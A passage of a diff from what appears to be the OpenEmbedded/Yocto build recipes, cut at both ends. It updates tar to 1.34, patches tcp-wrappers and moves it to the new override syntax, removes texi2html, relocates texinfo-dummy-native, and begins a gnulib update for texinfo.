-SRC_URI[md5sum] = "17917356fff5cb4bd3cd5a6c3e727b05"
-SRC_URI[sha256sum] = "e4bb9e08e12e7fa9f11fef544efc85e59ba34538593d9ad38148c7ca2bfbb566"
-
-inherit autotools gettext texinfo
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG_append_class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
-
-PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
-
-# Let aclocal use the relative path for the m4 file rather than the
-# absolute since tar has a lot of m4 files, otherwise there might
-# be an "Argument list too long" error when it is built in a long/deep
-# directory.
-acpaths = "-I ./m4"
-
-do_install () {
- autotools_do_install
- ln -s tar ${D}${bindir}/gtar
-}
-
-do_install_append_class-target() {
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/tar ${D}${base_bindir}/tar
- mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
- rmdir ${D}${bindir}/
- fi
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "tar"
-ALTERNATIVE_${PN}-rmt = "rmt"
-ALTERNATIVE_${PN}_class-nativesdk = ""
-ALTERNATIVE_${PN}-rmt_class-nativesdk = ""
-
-ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
-ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
-
-PROVIDES_append_class-native = " tar-replacement-native"
-NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/tar/tar_1.34.bb b/meta/recipes-extended/tar/tar_1.34.bb
new file mode 100644
index 0000000000..7307cd57a2
--- /dev/null
+++ b/meta/recipes-extended/tar/tar_1.34.bb
@@ -0,0 +1,68 @@
+SUMMARY = "GNU file archiving program"
+DESCRIPTION = "GNU tar saves many files together into a single tape \
+or disk archive, and can restore individual files from the archive."
+HOMEPAGE = "http://www.gnu.org/software/tar/"
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
+
+SRC_URI[sha256sum] = "b44cc67f8a1f6b0250b7c860e952b37e8ed932a90bd9b1862a511079255646ff"
+
+inherit autotools gettext texinfo
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG:append:class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
+
+PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
+
+# Let aclocal use the relative path for the m4 file rather than the
+# absolute since tar has a lot of m4 files, otherwise there might
+# be an "Argument list too long" error when it is built in a long/deep
+# directory.
+acpaths = "-I ./m4"
+
+do_install () {
+ autotools_do_install
+ ln -s tar ${D}${bindir}/gtar
+}
+
+do_install:append:class-target() {
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/tar ${D}${base_bindir}/tar
+ mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
+ rmdir ${D}${bindir}/
+ fi
+}
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "tar"
+ALTERNATIVE:${PN}-rmt = "rmt"
+ALTERNATIVE:${PN}:class-nativesdk = ""
+ALTERNATIVE:${PN}-rmt:class-nativesdk = ""
+
+ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+PROVIDES:append:class-native = " tar-replacement-native"
+NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Avoid false positives from CVEs in node-tar package
+# For example CVE-2021-{32803,32804,37701,37712,37713}
+CVE_PRODUCT = "gnu:tar"
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch
new file mode 100644
index 0000000000..88c8d9cae7
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch
@@ -0,0 +1,43 @@
+From 24d10919b4bc5e37a2d80b274d2cd2ee77b03549 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 13 Jan 2020 14:25:47 -0800
+Subject: [PATCH] Remove fgets() extern declaration
+
+These sources already include <stdio.h> which should bring the correct
+declaration
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ hosts_access.c | 1 -
+ misc.c | 2 --
+ 2 files changed, 3 deletions(-)
+
+diff --git a/hosts_access.c b/hosts_access.c
+index 329b35e..0133e5e 100644
+--- a/hosts_access.c
++++ b/hosts_access.c
+@@ -44,7 +44,6 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
+ #include <netdb.h>
+ #endif
+
+-extern char *fgets();
+ extern int errno;
+
+ #ifndef INADDR_NONE
+diff --git a/misc.c b/misc.c
+index 74ca319..9a5e73a 100644
+--- a/misc.c
++++ b/misc.c
+@@ -18,8 +18,6 @@ static char sccsic[] = "@(#) misc.c 1.2 96/02/11 17:01:29";
+
+ #include "tcpd.h"
+
+-extern char *fgets();
+-
+ #ifndef INADDR_NONE
+ #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
+ #endif
+--
+2.24.1
+
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
index 8e46df8e1e..cf4f993c1a 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
@@ -7,9 +7,8 @@ Date: Tue Feb 12 09:53:50 2013 -0500
Added support for socklen_t type to len argument passed to socket related
calls. This fixes a bug that causes tcp wrappers to fail when using sshd.
- Upstream-Status: Pending
-
- Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
+Upstream-Status: Pending
+Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
diff --git a/fix_options.c b/fix_options.c
index 7473adf..fe2b442 100644
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
index bd0c84c242..814d7fd913 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
@@ -11,12 +11,12 @@ PR ="r10"
DEPENDS += "libnsl2"
PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc"
-FILES_libwrap = "${base_libdir}/lib*${SOLIBS}"
-FILES_libwrap-doc = "${mandir}/man3 ${mandir}/man5"
-FILES_libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
-FILES_libwrap-staticdev = "${libdir}/lib*.a"
-FILES_${PN} = "${sbindir}"
-FILES_${PN}-doc = "${mandir}/man8"
+FILES:libwrap = "${base_libdir}/lib*${SOLIBS}"
+FILES:libwrap-doc = "${mandir}/man3 ${mandir}/man5"
+FILES:libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
+FILES:libwrap-staticdev = "${libdir}/lib*.a"
+FILES:${PN} = "${sbindir}"
+FILES:${PN}-doc = "${mandir}/man8"
SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://00_man_quoting.diff \
@@ -49,6 +49,7 @@ SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://0001-Fix-build-with-clang.patch \
file://fix_warnings.patch \
file://fix_warnings2.patch \
+ file://0001-Remove-fgets-extern-declaration.patch \
"
SRC_URI[md5sum] = "e6fa25f71226d090f34de3f6b122fb5a"
@@ -77,9 +78,9 @@ EXTRA_OEMAKE = "'CC=${CC}' \
'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'"
EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN"
-EXTRA_OEMAKE_NETGROUP_libc-musl = "-DUSE_GETDOMAIN"
+EXTRA_OEMAKE_NETGROUP:libc-musl = "-DUSE_GETDOMAIN"
-EXTRA_OEMAKE_append_libc-musl = " 'LIBS='"
+EXTRA_OEMAKE:append:libc-musl = " 'LIBS='"
do_compile () {
oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \
@@ -132,4 +133,4 @@ do_install () {
touch ${D}${sysconfdir}/hosts.deny
}
-FILES_${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
+FILES:${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
diff --git a/meta/recipes-extended/texi2html/files/0001-Allow-compiling-out-of-source.patch b/meta/recipes-extended/texi2html/files/0001-Allow-compiling-out-of-source.patch
deleted file mode 100644
index 0cf025ff4a..0000000000
--- a/meta/recipes-extended/texi2html/files/0001-Allow-compiling-out-of-source.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From: Olaf Mandel <o.mandel@menlosystems.com>
-Date: Fri, 21 Oct 2016 13:04:44 +0000
-Subject: [PATCH] Allow compiling out-of-source
-
-Upstream-Status: Backport of [svn://svn.sv.gnu.org/texinfo/trunk r3602]
----
- Makefile.am | 2 +-
- Makefile.in | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.am b/Makefile.am
-index 3447463..c9b5b5c 100644
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -208,7 +208,7 @@ i18n/en.thl i18n/: $(po_document_dir)/po_document/$(PACKAGE)_document.pot
- done; \
- msgexec -i $< "$(srcdir)/gettext_to_separated.pl" | "$(srcdir)/separated_to_hash.pl" en > i18n/en.thl; \
- else \
-- cp -p i18n_ref/*.thl i18n; \
-+ cp -p "$(srcdir)/i18n_ref/"*.thl i18n; \
- fi
-
- i18n_ref:
-diff --git a/Makefile.in b/Makefile.in
-index 4264b37..a13f84d 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -1126,7 +1126,7 @@ i18n/en.thl i18n/: $(po_document_dir)/po_document/$(PACKAGE)_document.pot
- done; \
- msgexec -i $< "$(srcdir)/gettext_to_separated.pl" | "$(srcdir)/separated_to_hash.pl" en > i18n/en.thl; \
- else \
-- cp -p i18n_ref/*.thl i18n; \
-+ cp -p "$(srcdir)/i18n_ref/"*.thl i18n; \
- fi
-
- i18n_ref:
---
-2.1.4
-
diff --git a/meta/recipes-extended/texi2html/texi2html_5.0.bb b/meta/recipes-extended/texi2html/texi2html_5.0.bb
deleted file mode 100644
index afd125b08f..0000000000
--- a/meta/recipes-extended/texi2html/texi2html_5.0.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Perl script that converts Texinfo to HTML"
-HOMEPAGE = "http://www.nongnu.org/texi2html/"
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-
-PR = "r2"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/texi2html/${BPN}-${PV}.tar.bz2 \
- file://0001-Allow-compiling-out-of-source.patch \
- "
-
-SRC_URI[md5sum] = "f15ac876fcdc8be865b16535f480aa54"
-SRC_URI[sha256sum] = "e8a98b0ee20c495a6ab894398a065ef580272dbd5a15b1b19e8bd1bc89d9f9fa"
-
-inherit autotools gettext texinfo
-
-do_configure_prepend() {
- # autotools_do_configure updates po/Makefile.in.in, we also need
- # update po_document.
- cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
- cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_messages/
-}
-
-do_install_append () {
- sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2html
-}
-
-FILES_${PN}-doc += "${datadir}/texinfo"
-
-RDEPENDS_${PN} = "perl"
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
index 1254bc89b4..a942ac2991 100644
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
+++ b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
@@ -1,5 +1,6 @@
SUMMARY = "Fake version of the texinfo utility suite"
SECTION = "console/utils"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb"
DEPENDS = ""
@@ -9,19 +10,21 @@ SRC_URI = "file://template.py file://COPYING"
S = "${WORKDIR}"
-NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
-
inherit native
+#
+# To avoid texinfo-dummy-native and texinfo-native conflicting we install to base_bindir
+# which is later in PATH than bindir where texinfo-native installs
+#
do_install_name() {
- FILENAME="${D}${bindir}/$1"
+ FILENAME="${D}${base_bindir}/$1"
# Using ln causes problems with rm_work
cp -T "${S}/template.py" "$FILENAME"
chmod +x $FILENAME
}
do_install() {
- mkdir -p "${D}${bindir}"
+ mkdir -p "${D}${base_bindir}"
for i in makeinfo pod2texi texi2dvi pdftexi2dvi texindex texi2pdf \
txixml2texi texi2any install-info ginstall-info \
update-info-dir; do
diff --git a/meta/recipes-extended/texinfo/texinfo/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/texinfo/texinfo/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index c7338aa470..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: texinfo-5.2/gnulib/lib/Makefile.am
-===================================================================
---- texinfo-5.2.orig/gnulib/lib/Makefile.am
-+++ texinfo-5.2/gnulib/lib/Makefile.am
-@@ -378,7 +378,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch b/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch
new file mode 100644
index 0000000000..470212cabd
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch
@@ -0,0 +1,11765 @@
+From 4908050c39dbcdcbd59955ea23d692f25f342307 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 7 Jul 2021 13:42:35 -0700
+Subject: [PATCH] gnulib: Update
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gnulib/lib/Makefile.am | 782 +++++++++++--------
+ gnulib/lib/_Noreturn.h | 8 +-
+ gnulib/lib/alloca.in.h | 20 +-
+ gnulib/lib/arg-nonnull.h | 8 +-
+ gnulib/lib/argz.c | 16 +-
+ gnulib/lib/argz.in.h | 14 +-
+ gnulib/lib/asnprintf.c | 16 +-
+ gnulib/lib/asprintf.c | 16 +-
+ gnulib/lib/attribute.h | 16 +-
+ gnulib/lib/basename-lgpl.c | 14 +-
+ gnulib/lib/basename-lgpl.h | 26 +-
+ gnulib/lib/btowc.c | 14 +-
+ gnulib/lib/c++defs.h | 8 +-
+ gnulib/lib/calloc.c | 55 ++
+ gnulib/lib/cdefs.h | 26 +-
+ gnulib/lib/cloexec.c | 18 +-
+ gnulib/lib/cloexec.h | 18 +-
+ gnulib/lib/close.c | 14 +-
+ gnulib/lib/dup2.c | 14 +-
+ gnulib/lib/dynarray.h | 24 +-
+ gnulib/lib/errno.in.h | 16 +-
+ gnulib/lib/error.c | 14 +-
+ gnulib/lib/error.h | 14 +-
+ gnulib/lib/exitfail.c | 14 +-
+ gnulib/lib/exitfail.h | 14 +-
+ gnulib/lib/fcntl.c | 14 +-
+ gnulib/lib/fcntl.in.h | 14 +-
+ gnulib/lib/fd-hook.c | 16 +-
+ gnulib/lib/fd-hook.h | 16 +-
+ gnulib/lib/filename.h | 8 +-
+ gnulib/lib/float+.h | 16 +-
+ gnulib/lib/float.c | 14 +-
+ gnulib/lib/float.in.h | 14 +-
+ gnulib/lib/free.c | 53 ++
+ gnulib/lib/fstat.c | 14 +-
+ gnulib/lib/getdtablesize.c | 14 +-
+ gnulib/lib/getopt-cdefs.in.h | 21 +-
+ gnulib/lib/getopt-core.h | 8 +-
+ gnulib/lib/getopt-ext.h | 8 +-
+ gnulib/lib/getopt-pfx-core.h | 21 +-
+ gnulib/lib/getopt-pfx-ext.h | 21 +-
+ gnulib/lib/getopt.c | 8 +-
+ gnulib/lib/getopt.in.h | 24 +-
+ gnulib/lib/getopt1.c | 8 +-
+ gnulib/lib/getopt_int.h | 8 +-
+ gnulib/lib/getprogname.c | 18 +-
+ gnulib/lib/getprogname.h | 8 +-
+ gnulib/lib/gettext.h | 16 +-
+ gnulib/lib/glthread/lock.c | 16 +-
+ gnulib/lib/glthread/lock.h | 16 +-
+ gnulib/lib/glthread/threadlib.c | 16 +-
+ gnulib/lib/hard-locale.c | 14 +-
+ gnulib/lib/hard-locale.h | 14 +-
+ gnulib/lib/ialloc.c | 21 +
+ gnulib/lib/ialloc.h | 94 +++
+ gnulib/lib/idx.h | 114 +++
+ gnulib/lib/intprops.h | 26 +-
+ gnulib/lib/inttypes.in.h | 14 +-
+ gnulib/lib/iswblank.c | 16 +-
+ gnulib/lib/iswdigit.c | 16 +-
+ gnulib/lib/iswxdigit.c | 16 +-
+ gnulib/lib/itold.c | 14 +-
+ gnulib/lib/langinfo.in.h | 16 +-
+ gnulib/lib/lc-charset-dispatch.c | 14 +-
+ gnulib/lib/lc-charset-dispatch.h | 14 +-
+ gnulib/lib/libc-config.h | 25 +-
+ gnulib/lib/limits.in.h | 16 +-
+ gnulib/lib/localcharset.c | 16 +-
+ gnulib/lib/localcharset.h | 16 +-
+ gnulib/lib/locale.in.h | 14 +-
+ gnulib/lib/localeconv.c | 14 +-
+ gnulib/lib/malloc.c | 51 +-
+ gnulib/lib/malloc/dynarray-skeleton.c | 8 +-
+ gnulib/lib/malloc/dynarray.h | 8 +-
+ gnulib/lib/malloc/dynarray_at_failure.c | 8 +-
+ gnulib/lib/malloc/dynarray_emplace_enlarge.c | 8 +-
+ gnulib/lib/malloc/dynarray_finalize.c | 8 +-
+ gnulib/lib/malloc/dynarray_resize.c | 8 +-
+ gnulib/lib/malloc/dynarray_resize_clear.c | 8 +-
+ gnulib/lib/malloca.c | 24 +-
+ gnulib/lib/malloca.h | 21 +-
+ gnulib/lib/mbchar.c | 14 +-
+ gnulib/lib/mbchar.h | 14 +-
+ gnulib/lib/mbiter.c | 18 +
+ gnulib/lib/mbiter.h | 14 +-
+ gnulib/lib/mbrtowc-impl-utf8.h | 16 +-
+ gnulib/lib/mbrtowc-impl.h | 14 +-
+ gnulib/lib/mbrtowc.c | 14 +-
+ gnulib/lib/mbscasecmp.c | 14 +-
+ gnulib/lib/mbschr.c | 14 +-
+ gnulib/lib/mbsinit.c | 14 +-
+ gnulib/lib/mbslen.c | 14 +-
+ gnulib/lib/mbsncasecmp.c | 14 +-
+ gnulib/lib/mbsstr.c | 14 +-
+ gnulib/lib/mbtowc-impl.h | 14 +-
+ gnulib/lib/mbtowc-lock.c | 14 +-
+ gnulib/lib/mbtowc-lock.h | 14 +-
+ gnulib/lib/mbtowc.c | 14 +-
+ gnulib/lib/mbuiter.c | 17 +
+ gnulib/lib/mbuiter.h | 14 +-
+ gnulib/lib/memchr.c | 24 +-
+ gnulib/lib/memchr.valgrind | 14 +-
+ gnulib/lib/mempcpy.c | 16 +-
+ gnulib/lib/memrchr.c | 14 +-
+ gnulib/lib/minmax.h | 60 ++
+ gnulib/lib/msvc-inval.c | 16 +-
+ gnulib/lib/msvc-inval.h | 16 +-
+ gnulib/lib/msvc-nothrow.c | 16 +-
+ gnulib/lib/msvc-nothrow.h | 16 +-
+ gnulib/lib/nl_langinfo-lock.c | 14 +-
+ gnulib/lib/nl_langinfo.c | 14 +-
+ gnulib/lib/open.c | 14 +-
+ gnulib/lib/pathmax.h | 16 +-
+ gnulib/lib/printf-args.c | 16 +-
+ gnulib/lib/printf-args.h | 16 +-
+ gnulib/lib/printf-parse.c | 27 +-
+ gnulib/lib/printf-parse.h | 16 +-
+ gnulib/lib/realloc.c | 63 ++
+ gnulib/lib/reallocarray.c | 39 +
+ gnulib/lib/regcomp.c | 8 +-
+ gnulib/lib/regex.c | 8 +-
+ gnulib/lib/regex.h | 8 +-
+ gnulib/lib/regex_internal.c | 8 +-
+ gnulib/lib/regex_internal.h | 8 +-
+ gnulib/lib/regexec.c | 20 +-
+ gnulib/lib/setlocale-lock.c | 14 +-
+ gnulib/lib/setlocale_null.c | 14 +-
+ gnulib/lib/setlocale_null.h | 14 +-
+ gnulib/lib/size_max.h | 16 +-
+ gnulib/lib/stat-time.c | 18 +
+ gnulib/lib/stat-time.h | 14 +-
+ gnulib/lib/stat-w32.c | 14 +-
+ gnulib/lib/stat-w32.h | 14 +-
+ gnulib/lib/stat.c | 14 +-
+ gnulib/lib/stdarg.in.h | 16 +-
+ gnulib/lib/stdbool.in.h | 16 +-
+ gnulib/lib/stddef.in.h | 16 +-
+ gnulib/lib/stdint.in.h | 20 +-
+ gnulib/lib/stdio.in.h | 24 +-
+ gnulib/lib/stdlib.in.h | 146 +++-
+ gnulib/lib/stpcpy.c | 14 +-
+ gnulib/lib/str-kmp.h | 26 +-
+ gnulib/lib/str-two-way.h | 16 +-
+ gnulib/lib/strcasecmp.c | 16 +-
+ gnulib/lib/strcasestr.c | 16 +-
+ gnulib/lib/strdup.c | 16 +-
+ gnulib/lib/streq.h | 16 +-
+ gnulib/lib/strerror-override.c | 100 +--
+ gnulib/lib/strerror-override.h | 15 +-
+ gnulib/lib/strerror.c | 14 +-
+ gnulib/lib/string.in.h | 18 +-
+ gnulib/lib/strings.in.h | 16 +-
+ gnulib/lib/strncasecmp.c | 16 +-
+ gnulib/lib/strndup.c | 16 +-
+ gnulib/lib/strnlen.c | 16 +-
+ gnulib/lib/strnlen1.c | 14 +-
+ gnulib/lib/strnlen1.h | 14 +-
+ gnulib/lib/strstr.c | 16 +-
+ gnulib/lib/sys_stat.in.h | 16 +-
+ gnulib/lib/sys_types.in.h | 16 +-
+ gnulib/lib/time.in.h | 58 +-
+ gnulib/lib/unistd.c | 18 +
+ gnulib/lib/unistd.in.h | 29 +-
+ gnulib/lib/unitypes.in.h | 16 +-
+ gnulib/lib/uniwidth.in.h | 16 +-
+ gnulib/lib/uniwidth/cjk.h | 16 +-
+ gnulib/lib/uniwidth/width.c | 16 +-
+ gnulib/lib/vasnprintf.c | 71 +-
+ gnulib/lib/vasnprintf.h | 16 +-
+ gnulib/lib/vasprintf.c | 16 +-
+ gnulib/lib/verify.h | 14 +-
+ gnulib/lib/warn-on-use.h | 8 +-
+ gnulib/lib/wchar.in.h | 18 +-
+ gnulib/lib/wcrtomb.c | 14 +-
+ gnulib/lib/wctype-h.c | 19 +
+ gnulib/lib/wctype.in.h | 26 +-
+ gnulib/lib/wcwidth.c | 14 +-
+ gnulib/lib/windows-initguard.h | 16 +-
+ gnulib/lib/windows-mutex.c | 16 +-
+ gnulib/lib/windows-mutex.h | 16 +-
+ gnulib/lib/windows-once.c | 16 +-
+ gnulib/lib/windows-once.h | 16 +-
+ gnulib/lib/windows-recmutex.c | 16 +-
+ gnulib/lib/windows-recmutex.h | 16 +-
+ gnulib/lib/windows-rwlock.c | 16 +-
+ gnulib/lib/windows-rwlock.h | 16 +-
+ gnulib/lib/xalloc-oversized.h | 53 +-
+ gnulib/lib/xalloc.h | 143 +---
+ gnulib/lib/xmalloc.c | 293 +++++--
+ gnulib/lib/xsize.c | 18 +
+ gnulib/lib/xsize.h | 16 +-
+ gnulib/m4/calloc.m4 | 82 ++
+ gnulib/m4/fcntl_h.m4 | 39 +-
+ gnulib/m4/free.m4 | 52 ++
+ gnulib/m4/fstat.m4 | 4 +-
+ gnulib/m4/gnulib-common.m4 | 84 +-
+ gnulib/m4/gnulib-comp.m4 | 192 ++++-
+ gnulib/m4/inttypes.m4 | 31 +-
+ gnulib/m4/iswdigit.m4 | 6 +-
+ gnulib/m4/iswxdigit.m4 | 4 +-
+ gnulib/m4/langinfo_h.m4 | 25 +-
+ gnulib/m4/largefile.m4 | 28 +-
+ gnulib/m4/locale_h.m4 | 37 +-
+ gnulib/m4/malloc.m4 | 152 +++-
+ gnulib/m4/math_h.m4 | 227 +++---
+ gnulib/m4/mbslen.m4 | 4 +-
+ gnulib/m4/memchr.m4 | 4 +-
+ gnulib/m4/mempcpy.m4 | 4 +-
+ gnulib/m4/memrchr.m4 | 4 +-
+ gnulib/m4/minmax.m4 | 44 ++
+ gnulib/m4/printf.m4 | 5 +-
+ gnulib/m4/realloc.m4 | 63 ++
+ gnulib/m4/reallocarray.m4 | 23 +
+ gnulib/m4/stat.m4 | 4 +-
+ gnulib/m4/stddef_h.m4 | 23 +-
+ gnulib/m4/stdint.m4 | 6 +-
+ gnulib/m4/stdio_h.m4 | 168 ++--
+ gnulib/m4/stdlib_h.m4 | 122 +--
+ gnulib/m4/stpcpy.m4 | 4 +-
+ gnulib/m4/strcase.m4 | 6 +-
+ gnulib/m4/strcasestr.m4 | 4 +-
+ gnulib/m4/strdup.m4 | 6 +-
+ gnulib/m4/strerror.m4 | 4 +-
+ gnulib/m4/string_h.m4 | 124 +--
+ gnulib/m4/strings_h.m4 | 38 +-
+ gnulib/m4/strndup.m4 | 4 +-
+ gnulib/m4/strnlen.m4 | 4 +-
+ gnulib/m4/strstr.m4 | 4 +-
+ gnulib/m4/sys_socket_h.m4 | 53 +-
+ gnulib/m4/sys_stat_h.m4 | 65 +-
+ gnulib/m4/sys_types_h.m4 | 16 +-
+ gnulib/m4/time_h.m4 | 62 +-
+ gnulib/m4/unistd_h.m4 | 194 ++---
+ gnulib/m4/visibility.m4 | 6 +-
+ gnulib/m4/wchar_h.m4 | 109 +--
+ gnulib/m4/wctype_h.m4 | 39 +-
+ gnulib/m4/wint_t.m4 | 10 +-
+ gnulib/m4/year2038.m4 | 112 +++
+ 238 files changed, 4521 insertions(+), 2636 deletions(-)
+ create mode 100644 gnulib/lib/calloc.c
+ create mode 100644 gnulib/lib/free.c
+ create mode 100644 gnulib/lib/ialloc.c
+ create mode 100644 gnulib/lib/ialloc.h
+ create mode 100644 gnulib/lib/idx.h
+ create mode 100644 gnulib/lib/minmax.h
+ create mode 100644 gnulib/lib/realloc.c
+ create mode 100644 gnulib/lib/reallocarray.c
+ create mode 100644 gnulib/m4/calloc.m4
+ create mode 100644 gnulib/m4/free.m4
+ create mode 100644 gnulib/m4/minmax.m4
+ create mode 100644 gnulib/m4/realloc.m4
+ create mode 100644 gnulib/m4/reallocarray.m4
+ create mode 100644 gnulib/m4/year2038.m4
+
+--- a/gnulib/lib/Makefile.am
++++ b/gnulib/lib/Makefile.am
+@@ -165,6 +165,24 @@ EXTRA_libgnu_a_SOURCES += btowc.c
+
+ ## end gnulib module btowc
+
++## begin gnulib module calloc-gnu
++
++
++EXTRA_DIST += calloc.c
++
++EXTRA_libgnu_a_SOURCES += calloc.c
++
++## end gnulib module calloc-gnu
++
++## begin gnulib module calloc-posix
++
++
++EXTRA_DIST += calloc.c
++
++EXTRA_libgnu_a_SOURCES += calloc.c
++
++## end gnulib module calloc-posix
++
+ ## begin gnulib module cloexec
+
+ if gl_GNULIB_ENABLED_cloexec
+@@ -200,6 +218,32 @@ EXTRA_libgnu_a_SOURCES += dup2.c
+ ## begin gnulib module dynarray
+
+ if gl_GNULIB_ENABLED_dynarray
